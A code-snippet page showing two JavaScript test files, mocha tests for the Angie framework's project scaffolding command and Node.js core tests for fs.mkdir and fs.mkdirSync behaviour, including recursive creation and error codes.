1// Test Modules2import { expect, assert } from 'chai';3import simple, { mock } from 'simple-mock';4// System Modules5import yargs from 'yargs';6import { default as promptly } from 'promptly';7import fs from 'fs';8import util from 'util';9import { bold, green } from 'chalk';10import $LogProvider from 'angie-log';11// Angie Modules12const TEST_ENV = global.TEST_ENV || 'src',13 project = require(`../../../../${TEST_ENV}/util/scaffold/project`),14 $$ProjectCreationError = require(`../../../../${TEST_ENV}/services/$Exceptions`).$$ProjectCreationError,15 p = process;16describe('$$createProject', function() {17 let noop = () => null;18 beforeEach(function() {19 yargs([]);20 mock(fs, 'mkdirSync', noop);21 mock(fs, 'readFileSync', noop);22 mock(util, 'format', () => 'test');23 mock(fs, 'writeFileSync', noop);24 mock($LogProvider, 'info', noop);25 mock(p, 'exit', noop);26 mock(promptly, 'confirm', function(_, fn) {27 fn(null, true);28 });29 mock(promptly, 'prompt', function(_, obj = {}, fn) {30 fn(null, true);31 });32 });33 afterEach(() => simple.restore());34 it('test $$createProject called without a name', function() {35 expect(project).to.throw($$ProjectCreationError);36 });37 it('test $$createProject called without a name', function() {38 expect(project.bind(null, {39 name: '111'40 })).to.throw($$ProjectCreationError);41 expect(project.bind(null, {42 name: '#][]\\$%'43 })).to.throw($$ProjectCreationError);44 });45 it('test $$createProject scaffolding error', function() {46 fs.mkdirSync.returnWith(new Error());47 expect(project).to.throw($$ProjectCreationError);48 });49 it('test successful project creation with directory', function() {50 project({51 name: 'test',52 dir: 'test/'53 });54 expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');55 expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');56 expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');57 expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');58 expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');59 expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');60 expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');61 expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');62 expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');63 expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');64 expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');65 expect(promptly.confirm.calls[0].args[0]).to.eq(66 `${bold(green('Do you want Angie to cache static assets?'))} :`67 );68 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([69 fs.readFileSync(70 '../../../../src/templates/json/AngieFile.template.json'71 ),72 'test',73 'test',74 true75 ]);76 expect(util.format.calls[0].args[4].val).to.eq(true);77 expect(fs.writeFileSync.calls[0].args).to.deep.eq([78 'test/AngieFile.json', 'test', 'utf8'79 ]);80 expect(81 $LogProvider.info.calls[0].args[0]82 ).to.eq('Project successfully created');83 expect(p.exit.calls[0].args[0]).to.eq(0);84 });85 it('test successful project creation with -n argument', function() {86 yargs([ '-n', 'test' ]);87 project({88 name: 'test1',89 dir: 'test/'90 });91 expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');92 expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');93 expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');94 expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');95 expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');96 expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');97 expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');98 expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');99 expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');100 expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');101 expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');102 expect(promptly.confirm.calls[0].args[0]).to.eq(103 `${bold(green('Do you want Angie to cache static assets?'))} :`104 );105 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([106 fs.readFileSync(107 '../../../../src/templates/json/AngieFile.template.json'108 ),109 'test',110 'test',111 true112 ]);113 expect(util.format.calls[0].args[4].val).to.eq(true);114 expect(fs.writeFileSync.calls[0].args).to.deep.eq([115 'test/AngieFile.json', 'test', 'utf8'116 ]);117 expect(118 $LogProvider.info.calls[0].args[0]119 ).to.eq('Project successfully created');120 expect(p.exit.calls[0].args[0]).to.eq(0);121 });122 it('test successful project creation with --name argument', function() {123 yargs([ '--name', 'test' ]);124 project({125 name: 'test1',126 dir: 'test/'127 });128 expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');129 expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');130 expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');131 expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');132 expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');133 expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');134 expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');135 expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');136 expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');137 expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');138 expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');139 expect(promptly.confirm.calls[0].args[0]).to.eq(140 `${bold(green('Do you want Angie to cache static assets?'))} :`141 );142 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([143 fs.readFileSync(144 '../../../../src/templates/json/AngieFile.template.json'145 ),146 'test',147 'test',148 true149 ]);150 expect(util.format.calls[0].args[4].val).to.eq(true);151 expect(fs.writeFileSync.calls[0].args).to.deep.eq([152 'test/AngieFile.json', 'test', 'utf8'153 ]);154 expect(155 $LogProvider.info.calls[0].args[0]156 ).to.eq('Project successfully created');157 expect(p.exit.calls[0].args[0]).to.eq(0);158 });159 it('test successful project creation with directory false confirm', function() {160 mock(promptly, 'confirm', function(_, fn) {161 fn(false);162 });163 mock(promptly, 'prompt', function(_, obj = {}, fn) {164 fn(null, false);165 });166 project({167 name: 'test',168 dir: 'test/'169 });170 expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');171 expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');172 expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');173 expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');174 expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');175 expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');176 expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');177 expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');178 expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');179 expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');180 expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');181 expect(promptly.confirm.calls[0].args[0]).to.eq(182 `${bold(green('Do you want Angie to cache static assets?'))} :`183 );184 assert(promptly.prompt.called);185 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([186 fs.readFileSync(187 '../../../../src/templates/json/AngieFile.template.json'188 ),189 'test',190 'test',191 false192 ]);193 expect(util.format.calls[0].args[4].val).to.eq(false);194 expect(fs.writeFileSync.calls[0].args).to.deep.eq([195 'test/AngieFile.json', 'test', 'utf8'196 ]);197 expect(198 $LogProvider.info.calls[0].args[0]199 ).to.eq('Project successfully created');200 expect(p.exit.calls[0].args[0]).to.eq(0);201 });202 it('test successful project creation with "." directory', function() {203 project({204 name: 'test',205 dir: '.'206 });207 expect(fs.mkdirSync.calls[0].args[0]).to.eq('src');208 expect(fs.mkdirSync.calls[1].args[0]).to.eq('src/constants');209 expect(fs.mkdirSync.calls[2].args[0]).to.eq('src/configs');210 expect(fs.mkdirSync.calls[3].args[0]).to.eq('src/services');211 expect(fs.mkdirSync.calls[4].args[0]).to.eq('src/factories');212 expect(fs.mkdirSync.calls[5].args[0]).to.eq('src/controllers');213 expect(fs.mkdirSync.calls[6].args[0]).to.eq('src/directives');214 expect(fs.mkdirSync.calls[7].args[0]).to.eq('test');215 expect(fs.mkdirSync.calls[8].args[0]).to.eq('static');216 expect(fs.mkdirSync.calls[9].args[0]).to.eq('templates');217 expect(promptly.confirm.calls[0].args[0]).to.eq(218 `${bold(green('Do you want Angie to cache static assets?'))} :`219 );220 assert(promptly.prompt.called);221 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([222 fs.readFileSync(223 '../../../../src/templates/json/AngieFile.template.json'224 ),225 'test',226 'test',227 true228 ]);229 expect(util.format.calls[0].args[4].val).to.eq(true);230 expect(fs.writeFileSync.calls[0].args).to.deep.eq([231 'AngieFile.json', 'test', 'utf8'232 ]);233 expect(234 $LogProvider.info.calls[0].args[0]235 ).to.eq('Project successfully created');236 expect(p.exit.calls[0].args[0]).to.eq(0);237 });238 it('test successful project creation with -d', function() {239 yargs([ '-d', 'test' ]);240 project({241 name: 'test',242 dir: 'test/'243 });244 expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');245 expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');246 expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');247 expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');248 expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');249 expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');250 expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');251 expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');252 expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');253 expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');254 expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');255 expect(promptly.confirm.calls[0].args[0]).to.eq(256 `${bold(green('Do you want Angie to cache static assets?'))} :`257 );258 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([259 fs.readFileSync(260 '../../../../src/templates/json/AngieFile.template.json'261 ),262 'test',263 'test',264 true265 ]);266 expect(util.format.calls[0].args[4].val).to.eq(true);267 expect(fs.writeFileSync.calls[0].args).to.deep.eq([268 'test/AngieFile.json', 'test', 'utf8'269 ]);270 expect(271 $LogProvider.info.calls[0].args[0]272 ).to.eq('Project successfully created');273 expect(p.exit.calls[0].args[0]).to.eq(0);274 });275 it('test successful project creation with --dir', function() {276 yargs([ '--dir', 'test' ]);277 project({278 name: 'test',279 dir: 'test/'280 });281 expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');282 expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');283 expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');284 expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');285 expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');286 expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');287 expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');288 expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');289 expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');290 expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');291 expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');292 expect(promptly.confirm.calls[0].args[0]).to.eq(293 `${bold(green('Do you want Angie to cache static assets?'))} :`294 );295 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([296 fs.readFileSync(297 '../../../../src/templates/json/AngieFile.template.json'298 ),299 'test',300 'test',301 true302 ]);303 expect(util.format.calls[0].args[4].val).to.eq(true);304 expect(fs.writeFileSync.calls[0].args).to.deep.eq([305 'test/AngieFile.json', 'test', 'utf8'306 ]);307 expect(308 $LogProvider.info.calls[0].args[0]309 ).to.eq('Project successfully created');310 expect(p.exit.calls[0].args[0]).to.eq(0);311 });312 it('test successful project creation with no directory', function() {313 const CWD = p.cwd();314 project({315 name: 'test'316 });317 expect(fs.mkdirSync.calls[0].args[0]).to.eq(`${CWD}/test`);318 expect(fs.mkdirSync.calls[1].args[0]).to.eq(`${CWD}/test/src`);319 expect(fs.mkdirSync.calls[2].args[0]).to.eq(320 `${CWD}/test/src/constants`321 );322 expect(fs.mkdirSync.calls[3].args[0]).to.eq(323 `${CWD}/test/src/configs`324 );325 expect(fs.mkdirSync.calls[4].args[0]).to.eq(326 `${CWD}/test/src/services`327 );328 expect(fs.mkdirSync.calls[5].args[0]).to.eq(329 `${CWD}/test/src/factories`330 );331 expect(fs.mkdirSync.calls[6].args[0]).to.eq(332 `${CWD}/test/src/controllers`333 );334 expect(fs.mkdirSync.calls[7].args[0]).to.eq(335 `${CWD}/test/src/directives`336 );337 expect(338 fs.mkdirSync.calls[8].args[0]339 ).to.eq(`${CWD}/test/test`);340 expect(341 fs.mkdirSync.calls[9].args[0]342 ).to.eq(`${CWD}/test/static`);343 expect(344 fs.mkdirSync.calls[10].args[0]345 ).to.eq(`${CWD}/test/templates`);346 expect(promptly.confirm.calls[0].args[0]).to.eq(347 `${bold(green('Do you want Angie to cache static assets?'))} :`348 );349 assert(promptly.prompt.called);350 expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([351 fs.readFileSync(352 '../../../../src/templates/json/AngieFile.template.json'353 ),354 'test',355 'test',356 true357 ]);358 expect(util.format.calls[0].args[4].val).to.eq(true);359 expect(fs.writeFileSync.calls[0].args).to.deep.eq([360 `${CWD}/test/AngieFile.json`, 'test', 'utf8'361 ]);362 expect(363 $LogProvider.info.calls[0].args[0]364 ).to.eq('Project successfully created');365 expect(p.exit.calls[0].args[0]).to.eq(0);366 });...

Full Screen

Full Screen

test-fs-mkdir.js

Source:test-fs-mkdir.js Github

copy

Full Screen

...31}32// fs.mkdir creates directory using assigned path33{34 const pathname = path.join(tmpdir.path, nextdir());35 fs.mkdir(pathname, common.mustCall(function(err) {36 assert.strictEqual(err, null);37 assert.strictEqual(fs.existsSync(pathname), true);38 }));39}40// fs.mkdir creates directory with assigned mode value41{42 const pathname = path.join(tmpdir.path, nextdir());43 fs.mkdir(pathname, 0o777, common.mustCall(function(err) {44 assert.strictEqual(err, null);45 assert.strictEqual(fs.existsSync(pathname), true);46 }));47}48// fs.mkdir creates directory with mode passed as an options object49{50 const pathname = path.join(tmpdir.path, nextdir());51 fs.mkdir(pathname, { mode: 0o777 }, common.mustCall(function(err) {52 assert.strictEqual(err, null);53 assert.strictEqual(fs.existsSync(pathname), true);54 }));55}56// fs.mkdirSync creates directory with mode passed as an options object57{58 const pathname = path.join(tmpdir.path, nextdir());59 fs.mkdirSync(pathname, { mode: 0o777 });60 assert.strictEqual(fs.existsSync(pathname), true);61}62// mkdirSync successfully creates directory from given path63{64 const pathname = path.join(tmpdir.path, nextdir());65 fs.mkdirSync(pathname);66 const exists = fs.existsSync(pathname);67 assert.strictEqual(exists, true);68}69// mkdirSync and mkdir require path to be a string, buffer or url.70// Anything else generates an error.71[false, 1, {}, [], null, undefined].forEach((i) => {72 assert.throws(73 () => fs.mkdir(i, common.mustNotCall()),74 {75 code: 'ERR_INVALID_ARG_TYPE',76 name: 'TypeError'77 }78 );79 assert.throws(80 () => fs.mkdirSync(i),81 {82 code: 'ERR_INVALID_ARG_TYPE',83 name: 'TypeError'84 }85 );86});87// mkdirpSync when both top-level, and sub-folders do not exist.88{89 const pathname = path.join(tmpdir.path, nextdir(), nextdir());90 fs.mkdirSync(pathname, { recursive: true });91 const exists = fs.existsSync(pathname);92 assert.strictEqual(exists, true);93 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);94}95// mkdirpSync when folder already exists.96{97 const pathname = path.join(tmpdir.path, nextdir(), nextdir());98 fs.mkdirSync(pathname, { recursive: true });99 // Should not cause an error.100 fs.mkdirSync(pathname, { recursive: true });101 const exists = fs.existsSync(pathname);102 assert.strictEqual(exists, true);103 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);104}105// mkdirpSync ../106{107 const pathname = `${tmpdir.path}/${nextdir()}/../${nextdir()}/${nextdir()}`;108 fs.mkdirSync(pathname, { recursive: true });109 const exists = fs.existsSync(pathname);110 assert.strictEqual(exists, true);111 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);112}113// mkdirpSync when path is a file.114{115 const pathname = path.join(tmpdir.path, nextdir(), nextdir());116 fs.mkdirSync(path.dirname(pathname));117 fs.writeFileSync(pathname, '', 'utf8');118 assert.throws(119 () => { fs.mkdirSync(pathname, { recursive: true }); },120 {121 code: 'EEXIST',122 message: /EEXIST: .*mkdir/,123 name: 'Error',124 syscall: 'mkdir',125 }126 );127}128// mkdirpSync when part of the path is a file.129{130 const filename = path.join(tmpdir.path, nextdir(), nextdir());131 const pathname = path.join(filename, nextdir(), nextdir());132 fs.mkdirSync(path.dirname(filename));133 fs.writeFileSync(filename, '', 'utf8');134 assert.throws(135 () => { fs.mkdirSync(pathname, { recursive: true }); },136 {137 code: 'ENOTDIR',138 message: /ENOTDIR: .*mkdir/,139 name: 'Error',140 syscall: 'mkdir',141 path: pathname // See: https://github.com/nodejs/node/issues/28015142 }143 );144}145// `mkdirp` when folder does not yet exist.146{147 const pathname = path.join(tmpdir.path, nextdir(), nextdir());148 fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err) {149 assert.strictEqual(err, null);150 assert.strictEqual(fs.existsSync(pathname), true);151 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);152 }));153}154// `mkdirp` when path is a file.155{156 const pathname = path.join(tmpdir.path, nextdir(), nextdir());157 fs.mkdirSync(path.dirname(pathname));158 fs.writeFileSync(pathname, '', 'utf8');159 fs.mkdir(pathname, { recursive: true }, common.mustCall((err) => {160 assert.strictEqual(err.code, 'EEXIST');161 assert.strictEqual(err.syscall, 'mkdir');162 assert.strictEqual(fs.statSync(pathname).isDirectory(), false);163 }));164}165// `mkdirp` when part of the path is a file.166{167 const filename = path.join(tmpdir.path, nextdir(), nextdir());168 const pathname = path.join(filename, nextdir(), nextdir());169 fs.mkdirSync(path.dirname(filename));170 fs.writeFileSync(filename, '', 'utf8');171 fs.mkdir(pathname, { recursive: true }, common.mustCall((err) => {172 assert.strictEqual(err.code, 'ENOTDIR');173 assert.strictEqual(err.syscall, 'mkdir');174 assert.strictEqual(fs.existsSync(pathname), false);175 // See: https://github.com/nodejs/node/issues/28015176 // The path field varies slightly in Windows errors, vs., other platforms177 // see: https://github.com/libuv/libuv/issues/2661, for this reason we178 // use startsWith() rather than comparing to the full "pathname".179 assert(err.path.startsWith(filename));180 }));181}182// mkdirpSync dirname loop183// XXX: windows and smartos have issues removing a directory that you're in.184if (common.isMainThread && (common.isLinux || common.isOSX)) {185 const pathname = path.join(tmpdir.path, nextdir());186 fs.mkdirSync(pathname);187 process.chdir(pathname);188 fs.rmdirSync(pathname);189 assert.throws(190 () => { fs.mkdirSync('X', { recursive: true }); },191 {192 code: 'ENOENT',193 message: /ENOENT: .*mkdir/,194 name: 'Error',195 syscall: 'mkdir',196 }197 );198 fs.mkdir('X', { recursive: true }, (err) => {199 assert.strictEqual(err.code, 'ENOENT');200 assert.strictEqual(err.syscall, 'mkdir');201 });202}203// mkdirSync and mkdir require options.recursive to be a boolean.204// Anything else generates an error.205{206 const pathname = path.join(tmpdir.path, nextdir());207 ['', 1, {}, [], null, Symbol('test'), () => {}].forEach((recursive) => {208 const received = common.invalidArgTypeHelper(recursive);209 assert.throws(210 () => fs.mkdir(pathname, { recursive }, common.mustNotCall()),211 {212 code: 'ERR_INVALID_ARG_TYPE',213 name: 'TypeError',214 message: 'The "options.recursive" property must be of type boolean.' +215 received216 }217 );218 assert.throws(219 () => fs.mkdirSync(pathname, { recursive }),220 {221 code: 'ERR_INVALID_ARG_TYPE',222 name: 'TypeError',223 message: 'The "options.recursive" property must be of type boolean.' +224 received225 }226 );227 });228}229// `mkdirp` returns first folder created, when all folders are new.230{231 const dir1 = nextdir();232 const dir2 = nextdir();233 const firstPathCreated = path.join(tmpdir.path, dir1);234 const pathname = path.join(tmpdir.path, dir1, dir2);235 fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err, path) {236 assert.strictEqual(err, null);237 assert.strictEqual(fs.existsSync(pathname), true);238 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);239 assert.strictEqual(path, firstPathCreated);240 }));241}242// `mkdirp` returns first folder created, when last folder is new.243{244 const dir1 = nextdir();245 const dir2 = nextdir();246 const pathname = path.join(tmpdir.path, dir1, dir2);247 fs.mkdirSync(path.join(tmpdir.path, dir1));248 fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err, path) {249 assert.strictEqual(err, null);250 assert.strictEqual(fs.existsSync(pathname), true);251 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);252 assert.strictEqual(path, pathname);253 }));254}255// `mkdirp` returns undefined, when no new folders are created.256{257 const dir1 = nextdir();258 const dir2 = nextdir();259 const pathname = path.join(tmpdir.path, dir1, dir2);260 fs.mkdirSync(path.join(tmpdir.path, dir1, dir2), { recursive: true });261 fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err, path) {262 assert.strictEqual(err, null);263 assert.strictEqual(fs.existsSync(pathname), true);264 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);265 assert.strictEqual(path, undefined);266 }));267}268// `mkdirp.sync` returns first folder created, when all folders are new.269{270 const dir1 = nextdir();271 const dir2 = nextdir();272 const firstPathCreated = path.join(tmpdir.path, dir1);273 const pathname = path.join(tmpdir.path, dir1, dir2);274 const p = fs.mkdirSync(pathname, { recursive: true });275 assert.strictEqual(fs.existsSync(pathname), true);276 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);277 assert.strictEqual(p, firstPathCreated);278}279// `mkdirp.sync` returns first folder created, when last folder is new.280{281 const dir1 = nextdir();282 const dir2 = nextdir();283 const pathname = path.join(tmpdir.path, dir1, dir2);284 fs.mkdirSync(path.join(tmpdir.path, dir1), { recursive: true });285 const p = fs.mkdirSync(pathname, { recursive: true });286 assert.strictEqual(fs.existsSync(pathname), true);287 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);288 assert.strictEqual(p, pathname);289}290// `mkdirp.sync` returns undefined, when no new folders are created.291{292 const dir1 = nextdir();293 const dir2 = nextdir();294 const pathname = path.join(tmpdir.path, dir1, dir2);295 fs.mkdirSync(path.join(tmpdir.path, dir1, dir2), { recursive: true });296 const p = fs.mkdirSync(pathname, { recursive: true });297 assert.strictEqual(fs.existsSync(pathname), true);298 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);299 assert.strictEqual(p, undefined);300}301// `mkdirp.promises` returns first folder created, when all folders are new.302{303 const dir1 = nextdir();304 const dir2 = nextdir();305 const firstPathCreated = path.join(tmpdir.path, dir1);306 const pathname = path.join(tmpdir.path, dir1, dir2);307 async function testCase() {308 const p = await fs.promises.mkdir(pathname, { recursive: true });309 assert.strictEqual(fs.existsSync(pathname), true);310 assert.strictEqual(fs.statSync(pathname).isDirectory(), true);311 assert.strictEqual(p, firstPathCreated);312 }313 testCase();314}315// Keep the event loop alive so the async mkdir() requests316// have a chance to run (since they don't ref the event loop)....

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run yandex-tank automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful